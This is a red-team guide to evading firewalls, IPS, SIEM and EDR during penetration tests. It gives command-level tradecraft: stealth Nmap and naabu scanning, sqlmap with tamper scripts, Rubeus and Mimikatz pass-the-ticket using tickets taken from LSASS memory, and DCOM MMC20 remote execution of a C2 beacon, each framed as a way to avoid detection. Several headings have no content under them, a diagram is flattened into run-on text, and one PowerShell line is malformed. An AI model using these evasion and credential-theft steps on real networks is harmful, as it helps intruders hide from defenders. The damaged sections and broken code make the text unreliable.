6.1_EDR_Evasion

Evading Network Defenses During Pentests

A practical guide for red teamers and pentesters. Organized around the two categories of defense you'll face — Inline Protection (things that block you in real-time) and Off-Path Detection (things that see you after the fact and alert analysts). Covers what these systems are, what they see, and how to avoid tripping them during active engagements.


The Two Categories of Network Defense

Every enterprise security tool you encounter falls into one of two categories. Understanding this distinction is the single most important mental model for evasion:

Inline Protection (IPS / NGFW) — "The Bouncer"

These systems sit inline — your traffic physically passes through them. If they decide to block you, the connection is dropped before it ever reaches the target. Triggering inline protection doesn't just blow your stealth — it ends your access.

Examples: Palo Alto NGFW, Fortinet FortiGate, Cisco Firepower, Check Point, AWS Network Firewall, any WAF (Cloudflare, Akamai, AWS WAF, ModSecurity).

Key characteristic: Blocks in real-time. You get one chance — if you trip an inline rule, the connection dies before the payload arrives.

Off-Path Detection (IDS / SIEM / UEBA) — "The Camera"

These systems sit off-path — they receive copies of logs from firewalls, endpoints, domain controllers, and proxies. They cannot block you directly. They detect, correlate, and alert (or feed a risk score to an analyst).

Examples: Splunk Enterprise Security, Microsoft Sentinel, Elastic SIEM, QRadar, CrowdStrike Falcon LogScale, Suricata (IDS mode), Zeek/Bro.

Key characteristic: Alerts retrospectively. Triggering detection means an analyst sees your activity after the fact — but you may still have time to complete objectives before anyone acts.


Inline Protection: How It Works & What It Sees

The canonical example here is Palo Alto NGFW (PAN-OS), but these engines have direct equivalents in every major NGFW platform.

Key engines you need to understand:


Off-Path Detection: How It Works & What It Sees

The canonical example here is Splunk Enterprise Security, but these detection mechanisms exist across every major SIEM platform (Sentinel, Elastic, QRadar, etc.).

Key detection mechanisms:


What to Be Aware of as an Attacker

During Reconnaissance / Scanning

Port scanning is the most common way to trip inline flood protection. Nmap at default settings (SYN scan, no rate limit) will hit the 100-events/2s threshold easily.

Watch out for:

Web application testing is where IPS Threat Prevention shines:

DNS and passive recon — this is your safest phase:

Credentials / brute force:

During Post-Exploitation / Lateral Movement

Once you have a foothold, the threat model shifts. Inline IPS is primarily watching north-south (in/out of the network). Internal east-west traffic is often inspected less rigorously — but off-path detection is fed by endpoint and DC logs too.

Enterprise Defenses & Evasions:

  1. Pass-the-Hash (PTH)
    • Defense: Modern domains disable NTLM entirely, enforce Credential Guard (which isolates NTLM hashes in VBS), and place admins in Protected Users. SIEMs flag Event ID 4624 (Logon Type 3 / NTLMv2) from abnormal sources.
    • Evasion Pivot: Do not rely on NTLM. Pivot entirely to Kerberos utilizing these two core methods:
      • Overpass-the-Hash (Pass-the-Key): Instead of authenticating right to the target server via NTLM, use the compromised NTLM hash (or AES key) to encrypt a timestamp (PA-ENC-TIMESTAMP) and send it to the Domain Controller inside a Kerberos AS-REQ. The DC decrypts the timestamp using its own copy of the key, validates it, and hands you back a pristine Kerberos TGT. (The hash itself never traverses the wire.) To the target server, it looks like a native, secure Kerberos login.
        • Rubeus Syntax: Rubeus.exe asktgt /user:<user> /rc4:<ntlm_hash> /ptt (Tip: If you recovered the AES256 key from memory, use /aes256: rather than RC4. Requesting new tickets using legacy RC4 encryption often triggers Event 4768 alerts).
      • Pass-the-Ticket (PTT): The pinnacle of stealth. Reach into a compromised machine's LSASS memory, extract an already-cached Kerberos ticket belonging to a logged-in admin, and inject it into your own logon session. (Nuance: If you steal a TGT and then use it to request a service ticket, the DC still logs Event 4769 (TGS-REQ). For true silence, steal an existing service ticket (TGS) directly — using it hits zero DC logs because you never go back to the DC.)
        • Rubeus Syntax: Rubeus.exe ptt /ticket:<base64_ticket_string>
        • Mimikatz Syntax: kerberos::ptt Administrator_TGT.kirbi
  2. WMI Remote Execution
    • Defense: Highly signatured by EDRs. SIEMs immediately flag Event 4688 (Process Creation) if WmiPrvSE.exe spawns suspicious child processes like cmd.exe or powershell.exe.
    • Evasion Pivot: Stop using standard Win32_Process.Create. Instead, lean on DCOM (Distributed Component Object Model) lateral movement.
      • Why it works: Windows is full of legitimate administrative COM objects (like MMC20.Application or ShellWindows). When you ask that COM object to run a command over the network, the execution happens inside a trusted process (like mmc.exe or explorer.exe) instead of the highly monitored WmiPrvSE.exe. To many EDRs, it looks like an admin opened the Microsoft Management Console and clicked a button, breaking the malicious process-tree signature. (Caveat: Modern EDRs like CrowdStrike Falcon and Defender for Endpoint are increasingly aware of DCOM lateral movement and may flag mmc.exe spawning child processes remotely. This still works against many environments, but is not a guaranteed bypass on cutting-edge deployments.)
      • PowerShell Syntax (MMC20 Pivot):
        $com = [activator]::CreateInstanceGetTypeFromProgID("MMC20.Application.1","10.0.0.5")
        $com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c beacon.exe","7")
      • Alternative Pivot: Use WMI softly just to drop a payload file or tweak a registry key over the network. Leave the actual payload execution to trigger naturally via an existing scheduled task or service restart, entirely decoupling the network authentication from the process execution.
  3. WinRM / PSRemoting
    • Defense: PowerShell Script Block Logging (Event 4104) strips obfuscation dynamically and dumps your payload in plain text. JEA (Just Enough Admin) limits allowed commands.
    • Evasion Pivot: Don't use powershell.exe. Write your tools in C# and execute them in-memory using execute-assembly via Cobalt Strike/Sliver. If you must run PS, bring your own unmanaged runspace (loading System.Management.Automation into an unexpected process) to break process tree correlation.
  4. SMB Enumeration
    • Defense: EDRs flag telemetry when binaries like net.exe or smbclient run with specific arguments (e.g., net use /IPC$). SIEMs flag rapid sequential IPC$ connections to dozens of hosts.
    • Evasion Pivot: Never spawn net.exe. Use Beacon Object Files (BOFs) inside your C2 framework. BOFs run completely in-memory and make direct NetShareEnum API calls, generating zero command-line telemetry and zero process creations.
  5. LDAP / AD Recon (BloodHound)
    • Defense: Default SharpHound.exe is instantly quarantined by CrowdStrike/Defender. Defender for Identity (MDI) monitors DC logs (Event 1644) for massive LDAP read spikes. Target domains deploy AD "Honeytokens" (fake users) to trap you.
    • Evasion Pivot: Don't use SharpHound "All" collection inside a defended network. Instead, run Microsoft's native AD Explorer tool (ADExplorer.exe) to silently pull an offline snapshot of the entire AD database. Download the snapshot file locally and parse it with BloodHound Python scripts offline. This generates significantly fewer and less suspicious LDAP queries than SharpHound's recursive graph traversal — though it's not truly invisible, since AD Explorer still issues LDAP reads that MDI could detect at very high volumes.

How to Avoid Detection

Evading Inline Protection (IPS)

Rate-limit everything. Flood protection math: stay under ~100 events per 2 seconds. In practice, aim for far lower because enterprises tune these thresholds down.

# Nmap: safe stealth pattern (T1 conservative baseline + strict pacing)
nmap -sS -T1 --scan-delay 60s --max-retries 0 --max-rate 1 <target>

Empirical Recon Insights (Nmap Evasion vs Actual Noise):

  1. Overrides Always Win, Order Doesn't Matter: It's a common misconception that argument order determines precedence (e.g., putting -T last to override --scan-delay). In reality, Nmap processes -T templates in Phase 1, then unconditionally overwrites them with delayed_options (--scan-delay, --max-retries, --max-rtt-timeout) in Phase 2, completely ignoring argument order. (Note: --max-rate is slightly different—it's an entirely independent packet-governor mechanism that places a hard volume ceiling on top of whatever the -T template calculates).
  2. Why keep -T if using --scan-delay? Never use --scan-delay alone. If you do, Nmap defaults the rest of its internal engine to -T3 (aggressive RTT timeouts and retries). By specifying -T1 --scan-delay 60s, you retain the highly-stealthy -T1 background processing while explicitly capping the probe rate.
  3. The "Too Slow" Paradox: Lab-based packet capture analysis reveals an OPSEC paradox: in controlled environments, nmap -T1 stealth scans can actually generate more total packets on a target interface than -T3 over time. Why? Because a 20-port -T1 scan takes nearly 5 minutes. This drawn-out window forces the OS to continuously send ARP-refresh broadcasts to keep the route alive, and extends the dwell time window for Behavioral IDSs — while a 50-millisecond -T4 burst might complete before the IDS correlation window closes. (Note: Exact packet counts are lab-specific; real switched LANs have different ARP behavior, but the principle — longer dwell = more ancillary noise — holds.)
  4. The Ultimate Proxy Evasion: For maximum stealth against a single target, stop scanning directly. Routing modern tools (like naabu -proxy or nmap -sT via proxychains) through a SOCKS proxy or SSH -D tunnel offloads the heavy TCP/ARP negotiation overhead to the proxy infrastructure. Lab tests show this reduces raw target-side packet noise to near-zero.

Understanding Nmap Timing Overrides:
Relying purely on templates like -T2 is dangerous because they are dynamic. If the network is fast, -T2 might still send micro-bursts that trip a sensitive firewall. Enforce explicit limits:

sequenceDiagram
    participant Fast as Default / -T4
    participant MaxRate as --max-rate
    participant Delay as --scan-delay
    
    rect rgb(200, 50, 50)
    note over Fast: NO EXPLICIT LIMITS
Nmap bursts as fast as the network allows. Fast->>Target: Probe 1 (0ms) Fast->>Target: Probe 2 (1ms) Fast->>Target: Probe 3 (2ms) Fast->>Target: Probe 4 (3ms) end rect rgb(200, 150, 50) note over MaxRate: MAX-RATE (Volume Ceiling)
Enforces a strict cap on packets per second. MaxRate->>Target: Probe 1 MaxRate->>Target: Probe 2 note right of MaxRate: ⏸️ Nmap dynamically pauses
to ensure it never exceeds
the max-rate limit inside
a 1-second window. MaxRate->>Target: Probe 3 end rect rgb(50, 150, 50) note over Delay: SCAN-DELAY (Strict Pacing)
Forces a hard pause between EVERY packet. Delay->>Target: Probe 1 (0ms) note right of Delay: ⛔ Wait exactly 500ms ⛔ Delay->>Target: Probe 2 (500ms) note right of Delay: ⛔ Wait exactly 500ms ⛔ Delay->>Target: Probe 3 (1000ms) end

Avoid App-ID fingerprinting. Craft traffic that looks like normal applications:

Bypass IPS Threat Prevention signatures:

SSL decrypt blind spot:


Evading Off-Path Detection (IDS / SIEM)

Operate within detection windows. Most correlation rules run on a schedule (hourly is typical). If a rule triggers on "10 failed logins in 1 hour", spread your attempts across multiple hours with low volume.

Spoof User-Agents. Always. No exceptions. This defeats indicator lookup tables across every SIEM platform.

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
}

The Quiet Basic Recon Toolkit (SIEM/EDR Safe)

When you are taking your first touches on a target network, use these empirically verified syntaxes to gather baseline data without triggering volume thresholds, UEBA anomalies, or ARP storms.

1. Basic Connectivity (nc / curl)
Single-connection tools are practically invisible to network volume metrics (producing ~6–10 packets linearly).

# nc: The absolute safest way to verify an open port (No nmap scan engine overhead)
nc -nvzw1 <target_ip> 443

# curl: Safely grab web headers (MUST spoof User-Agent to bypass SIEM lookup tables)
curl -I -k -s -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/124.0" https://<target_ip>

2. Stealth Port Scanning (naabu / nmap)
Never run a direct, raw scan as your first touch. Either heavily limit the rate, or route through a SOCKS proxy to kill the TCP/ARP negotiation noise on the target NIC.

# naabu (proxied): Lab tests prove scanning via proxy generates near-zero target noise
naabu -host <target_ip> -proxy socks5://127.0.0.1:1080 -p 22,80,443,445,3389

# nmap (basic discovery): Safely probe for live hosts without triggering ARP-sweep alerts
nmap -sn -PE -PM -PS22,80,443 -T2 --max-rate 5 <target_subnet>

3. Web Directory Bruteforcing (dirsearch / ffuf)
Think in terms of requests per minute, not per second. SIEMs correlate 404s globally; you need your brute-force to mimic a human lazily clicking through a site.

# dirsearch: Force 1 thread, add a 5-second delay, and randomize the User-Agent
dirsearch -u https://<target> -t 1 --delay 5 --random-agent 

# ffuf: Hard-cap the rate to exactly 3 requests a second with a realistic UA
ffuf -u https://target/FUZZ -w wordlist.txt -H "User-Agent: Mozilla/5.0 ..." -rate 3

# sqlmap: Delay execution to logically stay under SIEM hourly correlation thresholds
sqlmap -u "https://target/page?id=1" --user-agent="Mozilla/5.0 ..." --tamper=space2comment --delay=2 --timeout=10

Minimize lateral movement footprint:

Blend with the Baseline (UEBA):

Minimize RBA (Risk-Based Alerting) Signal Count:


Quick Reference: Before You Start

Phase Inline Protection (IPS) Concern Off-Path Detection (IDS/SIEM) Concern Mitigation
Host discovery ICMP sweep → Flood Protection Sweep correlation rule Use passive recon, minimize live pings
Port scanning TCP SYN rate → Flood Protection Scan correlation rule --max-rate 10, -T2 or slower
Web recon App-ID on scan tools UA lookup table, 404 rate Spoof UA, rate-limit, use targeted paths
SQLi / XSS IPS signatures (payload match) Web attack correlation Tamper scripts, slow rate, low level
Auth testing Brute force IPS sig Failed login correlation Slow spray, spread over hours
Post-ex (PTH) East-west less inspected Event 4624 Type 3 Targeted use, not broad sweep
AD recon Less relevant LDAP query volume BloodHound stealth, targeted queries
C2 callout App-ID, URL filter DNS/proxy log correlation HTTPS, legitimate-looking domain

See Also


References

Palo Alto NGFW — Inline Engines

Off-Path Detection — SIEM & Detection Platforms

Nmap Timing & Evasion

Evasion Tooling & Techniques

Lateral Movement & Post-Exploitation

Windows Event IDs Referenced